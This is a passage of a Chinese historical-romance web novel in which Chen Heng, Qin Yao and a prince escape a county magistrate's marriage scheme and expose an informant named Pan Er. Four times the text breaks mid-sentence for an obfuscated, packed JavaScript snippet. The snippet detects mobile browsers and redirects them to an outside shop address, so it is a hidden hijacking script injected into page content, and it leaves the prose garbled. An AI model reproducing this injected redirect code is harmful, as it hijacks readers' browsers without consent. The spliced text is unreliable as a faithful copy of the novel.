县令夫人不放心女儿,一大早也过来看她,听了隔壁的污言秽语,不禁转身进了屋。 她不免再次为女儿忧心。 “那陈公子就有这般好?你非得嫁他?” “娘!”张巧儿嗔道,“我从未见过那样俊俏的翩翩公子,爹就算从方县这附近百十里地之中找,也找不出第二个像他那般的公子了。” 这边正说着,那边陈衡已是穿戴整齐,出来了。 予安喜出望外:“公子,你大好了?” 陈衡点头,又轻轻将门关上。 莹秋不由向里望去。 “秦姑娘呢?”予安问。 陈衡走下台阶,他的伤口虽愈,一有动作还是会牵扯着肌肉,痛楚加剧。 他按了按伤口。 予安见状,忙上前扶着,怨道:“公子慢点,这才两日,你就起来了,也不让人进去侍候你穿衣。” “夫人这几日也未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020117|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曾休息好,我让她歇下了。”陈衡道。 “夫人?”予安皱了眉,怎么才撇清关系几日,又成了夫人了。 陈衡的目光冷冷扫过众人。 “你们记住,往后在外人面前,她就是你们的主母。” 予安倒觉得没什么,他家公子喜欢谁,想娶谁,他都没意见。 小桃有一瞬的兴奋,她看向莹秋,却发现莹秋咬紧了下唇,死死盯着那扇关上的门。 她心下了然,没想到一向稳重识大体的莹秋,竟也生了当初与自己同样的心思。 “世子如今如何了?”陈衡问。 予安昨夜与世子住在一起,世子睡床,他自然是睡地上。 一夜都未睡好,他没好气道:“世子早已恢复,那点小伤对他来说不算什么,昨夜他打了一晚上呼噜,到现在还没醒呢!” “如此……”陈衡缓缓踱步,“该去拜访一下方县令了。” 方县令未曾想,未等自己先来看陈衡,对方倒来拜访了。 他见陈衡步子缓慢,被人搀扶着,忙匆匆迎了上去:“大人快请坐,这病痛未愈,怎出来了?该是下官前去探望才是!” 陈衡坐下,将张禾住处四下打量了一番,见家具摆设全是普通木材,放下心来。 看来东宫用人,品性廉洁。 “张大人。”他欲解决昨日之事,直言道,“在下昨日昏迷之中,家中夫人不知因何得罪了大人及家眷,故特来请罪。” 张县令怔了怔,敛了笑容,严肃道:“陈大人应未曾娶亲吧?何来夫人一说?” 陈衡手中动作一滞,垂下眼眸:“不知我那夫人与大人胡说了些什么,我们两家自小订下的亲事,虽夫人不情不愿,也断然由不得她!” 张县令嘴巴张了张,竟是半晌说不出话来。 这怎么与昨日从秦瑶嘴里听到的不一样! 难不成那秦姑娘真是被强迫的? 他又仔细看了眼陈衡,面前公子即使是坐在那儿一言不发,已让整个厅堂蓬荜生辉。 如此玉面公子,那秦姑娘会看不上? “不瞒陈大人,昨日我已问了秦姑娘,她说她……她只是与您一道上京,其他并无瓜葛。”张县令小心道。 陈衡冷哼一声,那眼角已是寒光逼现。 “父母之命,岂容她任性!”他站起身来,跟张县令拱手作揖,“我这就回去将她绑了!不日完婚!” “等等!”张县令忙出言阻止。 为了自己女儿,他这张老脸也算豁出去了。 “那秦姑娘既然不愿意,陈大人何必强迫?”他凑上一副笑容,“我家有一幺女,与大人颇有些渊源。” 他将昨日发生的事说了一遍。 “小女已撞见大人的真身,昨日更是一回来就哭闹,若大人不给个说法,她宁愿一死啊大人!” 予安听了,在一旁撇嘴道:“明明是我家公子被人看光,吃了这么大的亏,到头来还得给别人说法。” 张县令尴尬的笑了笑。 陈衡道:“张大人想怎么办?不妨有话直说。” “那……我就恭敬不如从命了。”他腆着脸,“我这做父亲的,只得求公子娶了小女,两家共结秦晋之好。” 46. 谁要娶亲 “张大人,是想让女儿做妾?” 张县令脸色变了变。 “既大人与那女子还未完婚,便先毁了我家女儿的清白,那自然是我家女儿做大,秦姑娘……可做小嘛!”他厚着脸皮道。 “恕难从命。”陈衡坚决道。 “哼,恐怕陈大人现如今也没有更好的选择了!”张县令挥了挥手,招呼门外站着的手下过来,“来,跟陈大人告示眼下情况!” 那手下弯腰恭敬道:“报两位大人,今晨江城方向来了一队人马,直冲县城,属下已按大人吩咐,紧闭城门。” “你!”予安先愤怒出声。 “张大人是想逼迫陈某娶亲?”陈衡虽声音平静,却已藏着滔天怒火。 张禾擦了擦额上冷汗,赔笑道:“下官不敢,若不是为了自家那不成器的丫头……大人,可怜天下父母心啊!” 陈衡甩了袖子,抬步就走。 他情愿立刻逃亡,也不愿受此等恶心之事摆布! 张县令在身后追道:“陈大人!陈大人留步,留步!” 他想结下这门好得不得了的亲事,却也并不想因此结仇。 能让陈衡心甘情愿的答应,才算是得偿所愿。 可没想到陈衡此人却如此固执,换作其他男子,哪个不是身边三两女子环绕? “不做正室,做个贵妾也可!”他喊道。 陈衡此时也顾不得疼痛,疾步回了院子了,吩咐予安快让众人准备。 张巧儿听到动静也跑了过来,见陈衡冷着脸,自己的爹在后边追着,顿时一阵委屈。 遂哭喊道:“爹!他不愿意,是不是?” 一时之间乱得人仰马翻。 莹秋让几个丫鬟收拾了包袱,拉上娇娇。 娇娇想起秦瑶还在屋里睡着,带着莹秋闯了进去。 “娘!快起来!” 秦瑶累了两日,已是累极,正熟睡中被人一唤,吓了一跳,忙起了身:“怎么了?出什么事了?” “你——”莹秋捂住娇娇的眼睛将她推出门去,惊呼,“你和公子一起睡了?!” 秦瑶低头,发现自己的外衣滑落,露出一片香肩,身上又盖了被子,所以看上去像什么都没穿。 难怪莹秋会误会。 不过这惊呼声已经传了出去。 所有人的目光都齐齐投向了屋内,就连张巧儿也暂时忘了哭泣。 “公子……”予安难堪道,“你和秦姑娘,你再急,也等伤好了再说!” 陈衡黑了脸。 莹秋这才发觉自己太过一惊一乍,忙退了出去,将屋门关上。 县令夫人赶来,讥讽道:“我当是什么人家的好女儿呢!男未婚女未嫁,就能睡在一处了!巧儿,你当真要嫁他?” 张巧儿愣了。 她还不识人性,只是爹说陈公子前途无量,这是门不可多得的好婚事,又见陈衡长得脱俗,是她从未见过的俊美,所以便认定了要嫁他。 陈衡第一次拿正眼看了这小姑娘,道:“张小姐,你看清楚,我与秦姑娘已有了夫妻之实,她必是我未过门的正室娘子,如此,你还要嫁吗?” 张巧儿一时拿不定主意。 “一大早的,吵什么吵!”世子早被吵醒,在屋里听了半天热闹,一瘸一拐走了出来。 予安一拍脑袋,差点把世子给忘到这儿了! 如今没了下人,世子衣裳也穿不好,只得披了件外套就出来了。 “谁,谁要娶亲!”他喊道。 张县令见世子伤势大好,已经能下地走动了,又忙换了副笑脸,带着夫人女儿行礼:“世子安康!” 张巧儿是第一次见世子,看他身材高大,又披件紫色衣裳,那张玉面与陈衡比,竟是不输陈衡。 这外边的男子都这般俊俏风流吗? 她不禁陷入了沉思。 世子一瘸一拐走到陈衡身边,冲他耳边道:“我说你也太死板了!你就答应了他又如何?待到我们一回京,你把这小姑娘往你陈府后院一关,谁能知道你在这偏僻小县成过亲!” “那不如世子娶了去,到时候往你们王府后院一关。”陈衡道。 眼看双方僵持不下。 那县令手下又来报:“大人,江城的人马已到城下,嚷着要开门,该如何是好,还请示下!” 张禾殷切的目光,又对上陈衡。 “陈大人说,该当如何?” 陈衡运足了力,手掌缓缓抚上身边看热闹的世子,将他用力一推,推到众人面前。 “世子说了,他愿娶张小姐!”陈衡道。 “我——”世子扭头瞪他,见他眸中竟有一瞬急切,又转过头来笑嘻嘻道,“张大人知道,本世子的世子妃,正是你恩师柳相的女儿。” 大局为重。 世子几乎是一瞬间便决定了,实在不行就妥协。 将来带回去给世子妃做个侍女,反正在王府里出不来。 张县令一脸为难:“世子已有了正室,我也不舍得女儿给人家做妾,自然是陈大人更为合适。” “陈大人他……”世子绞尽脑汁为他找理由,“你也看到了,他这人,不好女色,认定了一世一双人,就再也看不上旁人……你这女儿如花似玉的,即使真的做了正室……唉,跟了他也是守活寡。” “不如就跟了我,和世子妃做个伴,有我在王府里保她,谁也不敢欺负了去!” 他这话十分有理,张县令也置喙了一番。 可他终究还是放不下自己那为官的面子,道:“即使如此,我的女儿……能做正室便做正室,不然您让我这老脸今后怎么在同僚面前抬起来啊!” 张巧儿躲在母亲身后,突然红了脸,出声道:“爹,我愿意。” 对于一个豆蔻年华的姑娘来说,皇室贵族的一切令她充满向往。 能进王府,不比跟个什么陈大人更有吸引力? “啪——” 县令夫人狠狠扇了她一巴掌:“娘教导你这么久!你如今就只求做个妾?” “娘……”张巧儿捂着半天红肿的脸,眼中满是不甘,“能入王府,能跟着世子,就是做个丫鬟我也愿意!” 这番话气得县令夫人倒吸一口冷气,差点没晕过去。 世子冲她眨眼:“这就对了!跟着本世子吃香的喝辣的,跟着陈大人,他俸禄就那么点,你还得做个贤妻,节俭用度!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14028398|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张县令虽心疼女儿,可与王府攀上亲戚,简直是可望而不可求的事! 这世子如今也被江城追杀,世子妃更是柳相的女儿,看来世子是必会倒戈,与陈大人、与他张禾,站在同一条线了。 “世子真愿带小女走?”张禾不由惊喜。 县令夫人冲了上来,扯住丈夫袖子问:“你什么意思?你要卖女?” 她向来对此不齿,本想若是陈衡这等在朝为官的青年才俊,未有正室,女儿又喜欢,顺水推舟。 如今却没想到,自己的丈夫也要效仿他人,送女儿去做妾,当作自己前途的垫脚石! “卖女?”张禾冷下脸来,将夫人推到一旁,“我卖女?夫人何故说得难听!没见你这不成器的女儿自己要去做妾?” “你、你们……”县令夫人望着自己这两位亲人,满目失望愤恨。 世子一时不忍,好心安慰道:“夫人放宽心,本世子也不是那轻浮孟浪的性子,你到京城打听打听,我对自家女眷那向来是疼爱有加!从不在外头乱来!” 县令夫人眼角流下一滴泪水,咬牙道:“谢世子!” 张禾见事已谈成,心情大好。 他喝退手下:“潘贰,守住城门,告诉大伙,江城反了!绝不能让江城人马进来!” 秦瑶此刻已穿好衣裳出来。 听到“潘贰”这个名字,她怔了一下。 上一世她听过这个名字! 潘贰…… 她突然想起,方县的下一任县令,正是这个名字! 因为这名字奇怪,当初她还以为临县一县之长,名字竟如此敷衍,怎地叫个“二”,还曾与众人笑话过。 潘贰此刻领命,转身正要走。 “站住!”她叫住那人,“你叫潘贰?” 潘贰莫名其妙的点了点头。 她清晰记起,潘贰上一世是如何成了方县县令的。 他向江城举报他的上司张县令,私藏兵器!又道方县所属管辖府衙共同包庇,只得向临府府衙所在之地,江城举报。 秦瑶出了一身冷汗,这潘贰,很可能与秦知府相识! 陈衡忍着伤口疼痛,走到秦瑶身边。 他方才回来时步子太急,此时伤口有些渗血。 “阿瑶。”他轻轻抓住她的手,在众人面前现出一副从未有过的温柔之色,关心道,“怎么了?” 潘贰也有些好奇:“这位姑娘认识我?” 陈衡发现,她的手冰凉。 他顺着她的目光,看向潘贰。 “这位小兄弟何时得罪了我娘子?”他目中寒光,如水一闪。 潘贰不自觉的打了个冷颤,摇头道:“我与大人家这位娘子从未见过!” 张县令也忍不住出来打圆场:“潘贰是我的得力手下,他自幼在方县长大,从未到过他处,许是秦姑娘认错了人?” 秦瑶不知该怎么办,若放这潘贰去守城,他定会想方设法让江城那批人马进来。 “公子。”她身子一歪,倚靠在陈衡身上,凑近他耳边悄声道,“潘贰是内奸。” 两人紧紧贴在一起,在众人看来这动作实在亲密,大家一时愣在原地,摸不着头脑。 47. 抓住内奸 潘贰是内奸。 秦瑶已清清楚楚告诉陈衡,经历前面那么多事,陈衡也自然是宁可信其有的。 “这位潘贰兄弟。”他叫住对方,忽厉声道,“你何时得罪了我家娘子!还不道歉?” 潘贰一脸懵,指了指自己:“我?得罪大人娘子?” 张县令也在一旁瞪了他一眼:“到底是何事得罪的,还不快道歉!” “大人!”潘贰扑通跪了下去,“大人明鉴!我与你家这娘子从未见过,何来得罪一说?” 陈衡冷眼扫过,并不多做理会,却朝县令张禾道:“不如张大人先派他人去守城门?待我问清了这潘贰,再放他过去。” 张县令此时也急了,若把江城的人拦在城外太久,却不给个正当理由,怕是说不过去。 “唉!你们在此!”他挥手让众人退下,“我亲自去城门!” 县令的人马撤走,他夫人更是被女儿及一众丫鬟扶了回去。 院子里只剩潘贰,孤零零的跪在那儿。 “捆起来!”陈衡一个眼神,予安便得了令,拿了根粗麻绳子,将潘贰绑了个结结实实。 世子还丈二和尚摸不着头脑:“绑了他作甚?” “他是内奸。”陈衡瞥了他一眼,“还不快过来帮忙,把人先扔到柴房!” 世子环顾四周,见几个手无缚鸡之力的丫鬟站在那儿,只得亲自动手。 他的手下全被派去保护世子妃了,陈衡这儿又只跟了几个丫鬟,着实缺人手。 “竟然让本世子做这种事!”他骂骂咧咧,和予安一道,将人拖进柴房。 这是县衙最偏的角落,院子里的柴房久未打开用过。 房顶又漏雨,年久失修,里边的稻草堆湿了干,干了湿,一股子沤臭味。 柴房门一打开,世子差点被熏晕过去。 这让他幽幽想起京城城南年久少人照料的旧马场,少时他曾跟一群纨绔偷偷去玩,那时正值酷暑,马厩里给马吃的草淋了雨又晒干,搅着多日未清理的马尿马粪味,散发在整个马场的每一个角落…… 那时贪玩,竟在那酸臭不已的马场玩了整晌,待到傍晚回家,那头发衣裳上的味道,将整个王府熏了整整三日…… 予安见世子一脸惨白,嘴里憋着一口气,似乎快要呕出来,于是将潘贰往那柴房里一推,忙关上门。 两人皆抱着柱子呕了起来。 这还用审吗?这简直就是酷刑虐待! 不等陈衡秦瑶进去问话,里边的人便喊着要交代了。 予安看了世子一眼,觉得指望不上他,只得自己又捏着鼻子进去,将人拉了出来。 “我说!我说!”潘贰大口呼吸着新鲜空气。 不过他到底是穷苦人家出身,闻了那味儿并不像世子反应那么大。 他见陈衡秦瑶过来,立刻跪直了身子。 “大人,小的只是衙门里一个跑腿的小差,真不知何时何事得罪了这位娘子……”他说的诚恳,“还望大人明示!” 潘贰自信,他悄悄往江城递消息的事并无人知,此刻压根没往那上边想。 秦瑶直接问他:“请问这位差爷,与秦知府是何关系?” 潘贰愣了。 他在脑子空白了片刻后,疯狂开始回想,自己是怎么露馅的。 待仔细回想后,发觉此事他做的极为隐秘,绝无一丝风声能透出去! 他稳了稳心神,道:“这位娘子在说什么?秦知府?是江城的那位姓秦的知府?” “正是江城的秦知府。”秦瑶弯下身子,盯着他那双透着精明的眸子,“我们几人与你无冤无仇,你为何往江城送消息?你与秦知府是旧识?还是说,你根本就是他的人!” “好啊,你竟敢出卖本世子?”听秦瑶说他往外递了消息,世子也不管是真是假,一脚踹了上去。 潘贰吃痛倒地,此刻却清醒了不少,脑子转了好几个弯来。 他呲牙咧嘴道:“平白无故说我投敌?你们有证据吗?” 世子又收回了脚,一脸茫然的看着秦瑶。 她这两日忙得觉都没法子睡,怎么发现这差役往外递消息的? 难道这女子真有所谓的神迹? 他不免好奇。 秦瑶直起了身子,居高临下的望着潘贰,并未开口。 她本就长得脱俗,又一副云淡风轻事不关己的样子,更是让人察觉到些许不似凡人之处。 陈衡适时说道:“你可知你眼前这位,是何身份?” 潘贰抬头,将人如此上下打量一番,目光中竟不自觉的恭敬起来:“是……是何身份?” “江城地龙翻身的事,听说了吧?”予安抢先说道,“在这灾祸到来的两日前,有一神女娘娘,立于广阔田间,将此事告知百姓,又于灾祸当日,劝守城士兵打开城门,救了城外百姓!” “这事自然听过,我们方县都传遍了。”潘贰道。 予安又道:“那你可知这神女娘娘,为何能将此事提前告知,让大伙做好准备,避免了伤亡损失?” 这问题着实蠢笨,世子不禁抢答:“废话,都神女了,她若提前预测一下,岂不简单的很?” “正是!”予安立刻将衣摆一甩,跪在地上,朝秦瑶大拜,“神女娘娘!” 这一动作看傻了潘贰,他抖抖索索的抬眼,偷偷瞟了一眼秦瑶,只觉她如今气质更加不凡,果真如神女下凡! 这么说来,神女是什么都知道? “神女娘娘?”他试着唤了一声。 “尔等凡人,做过什么事尽管从实招来!”秦瑶忍住笑意,淡淡道,“若不从实招来,将功赎过,天地因果,报应不爽啊……” 会遭报应?潘贰又瑟缩了一下。 他猛然想起,昨日他才递了消息出去,今日一早,他家的看门狗便突然暴毙! 难不成,这就是因果报应?若他再不说,岂不是家人也要遭殃了? 潘贰身子一歪,整个人如泄了气般。 “神女娘娘,我说。”他颓废道,“我们方县虽和江城分属不同府衙管辖,可这小县离江城又近,江城那边每年少不得打点……张大人又常将小的带在身边,一来二去,我便与秦知府熟了。” “你和他相熟就能出卖我们?”世子瞪大双眼,“你好好瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037434|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞧,我们一个是皇亲,一个是太子近臣!你巴结我们哪一个不比去巴结姓秦的强?何况张县令又是你顶头上司!” 潘贰苦笑道:“世子有所不知,秦知府曾与我有言在先,若我哪日助他,帮他大忙,他许我官至七品……” 秦瑶想他上辈子坐上方县县令的位置,一定与此事有关了。 可惜上一世她不在,不知道陈衡经历的这些危险,也不知无她捉这奸细,他是如何历经万难回到京城的。 或许他根本没回到京城,而是半路被截杀了! 秦瑶浑身一冷。 她再看向潘贰时,眼中已无半点怜悯。 “我且问你。”秦瑶冷冷开口,“若有机会将功赎过,你可愿意?” 潘贰不迭点头:“愿意!自然愿意!” 如今只要能换得家人平安,他当仁不让! 众人只当是他心有愧疚,并不知他家看门狗今早死了。 这巧合正救了大家。 “你去信一封,告诉秦知府,这里已无世子等人,他们……他们往哪儿跑了?”秦瑶看向陈衡。 陈衡接过话,道:“往太原去了。” 予安将人松绑,押去书案前,备好笔墨纸砚。 潘贰众目睽睽之下,写了一封告罪密信,向秦知府告罪,说自己大意,让人察觉了,此刻陈大人与世子已离开方县,去往太原,让秦知府别在方县城门下浪费时间,快马加鞭去追,不出两日定能追上。 世子和予安亲自跑了一趟,到城门处说明缘由,让张县令派个心腹,将书信送去江城。 好在江城离方县实在不远,一来一回半日路程,待夕阳西下之时,城门外那队人马终于调转方向,走了。 张县令大松了一口气,归来便要办喜事。 他家幺女虽要去做妾,那也是跟世子!从此以后,他也是沾上皇亲的人了! 想那江城的张家,与世子正有些远亲,当初他还颇为妒忌。 如今他又不得不感叹,皇家说不定与这姓张的就是有缘! 万般皆是命啊! 如此感叹了一番,张禾喜气盈盈的进了女儿闺房。 而这厢几人却坐在一处,商议接下来往哪里走,气氛中毫无一丝喜气。 “世子妃如今到哪儿了?”世子愁道,“若是她出了事,本世子也不活了!” 陈衡正执笔画下一幅地图。 他蹙眉,将一处城池圈了起来。 世子妃虽比他们提前走了,按三日的路程算,怕是也才到许州。 他抬头:“许州是谁坐镇?” 世子张了张嘴巴。 他忽然想起,许州那人表面上是太子门下,实际上早暗投二皇子了…… “趁江城人马往北去了,我们得去东边许州!”世子起身就要走。 “许州知州严笠正是我的人。”陈衡胸有成竹道,“世子不必惊慌,严兄必不会对世子妃不敬。” “你的人?”世子气笑,“你们东宫的人,一个赛一个的眼瞎心盲!不然怎会落到这幅田地!” 予安惊道:“你的意思是,严知州也倒戈了?” 48. 可怕婚事 世子记挂世子妃,一大早便催促起众人尽早启程。 可他忘了,还有桩“婚事”在等着他。 不等张禾过来,他的夫人先来了。 张县令的夫人今日只带了她自己的陪嫁婆子,见几人都在屋里,又转头想走,却还是大方进来跟众人作了礼。 “秦姑娘可否借一步说话?” 原来她是来找秦瑶的。 县令夫人昨日哭的狠了,一双眼睛通红,眼皮肿得像杏仁核。 她见到秦瑶不过才一句话,又流下眼泪来。 “秦姑娘,老妇就不和你寒暄了,此次前来是有事求你。” 秦瑶看着她,她不过三四十的年纪,却已育有几个子女,身体发了福,又没少操劳,看上去竟比她夫君老上许多。 一句老妇,道出了多少辛酸。 “我那夫君本就不是清流之辈,惯会见风使舵。”县令夫人擦了擦眼角的泪水,正色道,“他当初拜在柳相门下,时时得意,将自己是相国门生四处宣扬,如今此事人人皆知,他就是想倒戈,江城那方也不会信他,所以他才会待你们如此有礼。” 秦瑶忙安慰道:“这世上又有几人能做到‘任尔东西南北风,我自岿然不动’?” 夫人点了点头:“话是如此,他能狠心把女儿当作自己攀附权势的棋子……也怪我这个母亲,年老色衰,连累我的女儿都比不过那小妾生的庶女……” 她娓娓道来,秦瑶才知道,府中还有个庶女,比张巧儿小姐大了三岁,已出嫁为人妇。 此女夫婿是张禾亲自挑选,成婚之前就已中了举,如今正在临城走马上任。 他疼爱那妾室,自是不愿意让那妾室的女儿受委屈,在一众白衣中特地观察了几年,才选了这么一个人才。 “可怜我的女儿,就要去给人家作妾……”说到这儿,县令夫人又流了眼泪,“这里头少不了那小妾挑唆,巧儿才多大,她懂什么?只看了男子一副好皮囊,就要进门……” 听她说了这许多,秦瑶总算明白了,张巧儿堂堂一县令嫡女,却能有那等心机。 张县令一男子,又能想得如何周到?让她一个未经人事的小姑娘,借治病去看男子身体。 原来这一切的背后还有个妾室在作妖。 “秦姑娘,我看你像那走马串巷惯了的人,在外一定见识颇多。”她目光中多了分恳求,“能不能请你帮我,去和我那巧儿说说,劝她不要如此冲动……” 在夫人眼里,秦瑶都敢未婚就与男子同睡了,便猜想她也曾沾染红尘,对男子了如指掌,不如让她去劝劝女儿。 秦瑶此刻只想着这一路如何助陈衡顺利回京,也无心神插手此事。 “这事如何能劝得?”她摇头,道,“夫人需知,解铃还须系铃人,夫人治家不严,让一个小妾闹得家宅不宁,挑拨小辈学些勾栏手段,夫人就治不了她?” 县令夫人无奈苦笑:“私底下我也治过她不少,所以她才会如此恨我……当初我也发卖过她,可那次她恰巧怀了身孕,被找回来时,我差点被休弃!” 她身后那陪嫁婆子忙抚了她的背,顺了顺气,安慰道:“夫人也不必再忧心,若是小姐真进了王府,成了世子的身边人,那老爷的前途全系小姐一身!到时您还怕发卖不了一个贱婢?” “住口!”夫人拍了拍桌子,怒道,“我不会为此赔上巧儿的一辈子!再让我听到这话,你立刻滚回我娘家!” “怪我多嘴!”陪嫁婆子朝自己嘴上扇了一巴掌,看向秦瑶,“请姑娘务必帮帮我家夫人,帮帮我家小姐!” 一边是急于嫁女的张县令,一边是不愿女儿婚事被利用的县令夫人,可怜几人如今在他家地盘,不把此事解决了,看来是不好走了! 秦瑶叹了口气,道:“我先问问小姐的意思,她自己选的路,若日后后悔,也怪不到夫人头上。今时今日若夫人强行断了她的念想,怕是她非但不会感激,反而会记恨上你这个亲娘,嫌你毁了她的好姻缘!” “对!对!”县令夫人泪眼婆娑,“其实我早给女儿看好了一门亲事,对方是我娘家连襟的一个孩子,家世简单,为人又本分,还颇为上进,明年就要进京参加春闱。虽……虽比不过陈大人,与我家巧儿也算相配。” 世道多艰,有些人家的女儿能跟着大户人家不饿肚子,不管是做妾也好,通房也罢,都只为生存。 只有这不缺吃穿的人家,才想着给女儿挑选门亲事,当个正室娘子,不受主母欺压。 可怜天下父母心,秦瑶看着县令夫人,想起了自己的娘。 若娘还在,定会替自己打算,不至于像如今这样颠沛流离。 京城茫茫,勋贵又何其多,她一介平民或许不该对陈公子抱有幻想。 若要她做妾,娘地下有知,又何尝不会落泪,感叹女儿命苦。 秦瑶下定决心,若是如此,她宁愿不嫁! * 待秦瑶过来,张巧儿还沉浸在幻想中。 她原是对秦瑶有敌意的,但此时却软了下来,姐姐长姐姐短,打听起世子的喜好来。 秦瑶与她闲话了一会儿,问道:“我听你娘说,你有一位表亲,自幼与你青梅竹马?” 她见张巧儿立刻沉下脸,想必她娘也与她提过此人。 “是不是我娘跟姐姐说什么了?”张巧儿撇了撇嘴,道,“自小相熟又如何?青梅竹马又如何?女儿家最重要的是自己的心意。” 这怕又是那个妾室教的吧? 秦瑶道:“小姐的心意就是世子?你同世子认识多久,又同你那表哥认识多久?” “这如何能用时间长短来断定!”张巧儿瞪大了双眼,不满道,“我虽只见了世子一两面,却也知他翩翩公子,玉人之姿,不是其他男子比得上的。” 说罢她头一低,害羞起来。 秦瑶道:“你可知世子已有了世子妃?” 张巧儿点了点头,眸中有一丝茫然。 她年纪尚小,不明白其中利害关键,对于世子妃更是压根没放在心上。 秦瑶不禁暗叹,耐心道:“王府规矩甚多,你如今是稀罕世子样貌家世,自会想天天与他相守……可若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14049827|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进了王府做了小妾,你想见他一面,也得经过世子妃准允。” “你莫不是在诓骗我?”张巧儿不解道,“我家姨娘想见我爹,也不用经我娘同意,况且我还从未听说哪家妾室见郎主,要经过主母同意。” “不巧,王府就这规矩,和普通人家自然不同。”她道。 这事她也是听世子闲聊提起,才知那亲王贵胄如此麻烦。 张巧儿此时才发觉,她对外边的一切好像知道的太少。 “就算如此……”她迟疑道,“能入了王府也比在普通人家好,连我爹的前程也有了保障。” “那王府妾室虽说吃穿不愁,想有些金银首饰之类的赏赐,还得看主母脸色,打点下人又少不得钱财。” “况且你想保你爹的前程,也得看世子妃高兴不高兴,若她嫉恨了你,在世子耳边吹吹枕边风,或者找她那相国父亲打压你父亲……还真说不准你入王府是对是错。” 张巧儿倒是没想到这一层,只听那姨娘说自己以后多么风光体面,父亲沾了皇亲如何前程似锦…… 若真如此,岂不害了父亲! 她猛然醒悟,又鄙视起姨娘来,到底是个没见识的妾。 “秦姐姐这么说,我还是嫁陈大人为好?”张巧儿睨眼看秦瑶,目露敌意。 毕竟陈衡说到底还未娶妻。 秦瑶说了半天,早已是口干舌燥,非但没有劝这小丫头对自己表哥回心转意,反而弄得她将主意又打回到陈衡身上。 她不得不感慨,有其父必有其女。 这父女两个全是那攀附权贵之人,只要有一丁点希望,就不愿放弃。 “我话已至此,若你觉得陈大人为良配,大可请你父亲去说亲。”她站起来告辞。 张巧儿一双黑眼珠子滴溜溜转,问道:“秦姐姐不阻拦?” “我绝不阻拦!”她道。 陈衡的烂桃花,让他自己去接着吧! 秦瑶走出房门,院子里的风吹得她打了个寒颤。 明明已是春末夏初,这天怎么还未热起来。 县令夫人正等在闺房院外,见秦瑶出来,忙上前关切道:“如何?” 秦瑶摇了摇头。 “她还是非要给世子作妾?”县令夫人眼中难掩失望。 她该知道,自己女儿那倔脾气,一时半会儿又如何能说动。 秦瑶道:“小姐打消了给世子作妾的念头。” “真的?”县令夫人喜出望外。 “不过……”她无奈笑笑,“小姐还是不愿意嫁给那位表兄,她要嫁陈公子。” 县令夫人瞪大眼睛,这震惊的样子与她女儿如出一辙。 她面色古怪,朝院子里望了望,又看了看秦瑶,一时竟不知说什么好。 秦瑶却嗤笑了一声。 若是能嫁陈衡为正室,这县令夫人不仅不会反对,还会花费大力气促成此事。 论出身、论家世,秦瑶在她眼中亦不是什么难对付的角色。 此刻秦瑶才真真体会到,什么叫“搬起石头砸了自己的脚”…… 49. 拿官换人 几人听秦瑶回来这么一说,硬是默默对坐了半晌。 “那张县令是疯魔了?”世子简直不敢置信,“这么高的枝,他都敢攀?也不看看自己与陈家门不当户不对的,把女儿嫁进来,是想让全京城的妇人看笑话?” 这种家世,进了陈家也只有被全京城贵妇排挤的份。 予安倒是明白:“他就是仗着我们如今沦落在他的地盘!这种一步登天的好机会,他无论如何也得把握住!反正世子和我家公子,哪个做他女婿是随他挑了!” 秦瑶也沉着脸,却是在忧心另一件事。 “我们不能再等了,若江城那边发现不对,转头回来,我们怕是难走了!”她看向陈衡。 陈衡正垂眸沉吟,听了这话抬起头:“你们收拾东西,养足了精神,最迟今夜,我们必须走。” 世子愣了愣,道:“怎么?你有主意?我们偷跑?” 陈衡站起身来,叫予安随他一道:“我这就去拜访张县令。” “又去找他?”世子震惊,“你真同意了这门婚事?” “我去找他,完成他心中所愿!”陈衡留下一句话。 世子皱了皱眉,又看向秦瑶:“张县令心中所愿?不正是他那女儿能嫁给他?” 秦瑶低下头,未必…… 此刻张县令已从女儿处得知,他差点得罪了百官之首柳相。 想到这一层,他已一身冷汗。 回了屋里,又见小妾温顺的看着他,目光中却处处透着贪婪,不禁唾骂道:“果真上不得台面!” 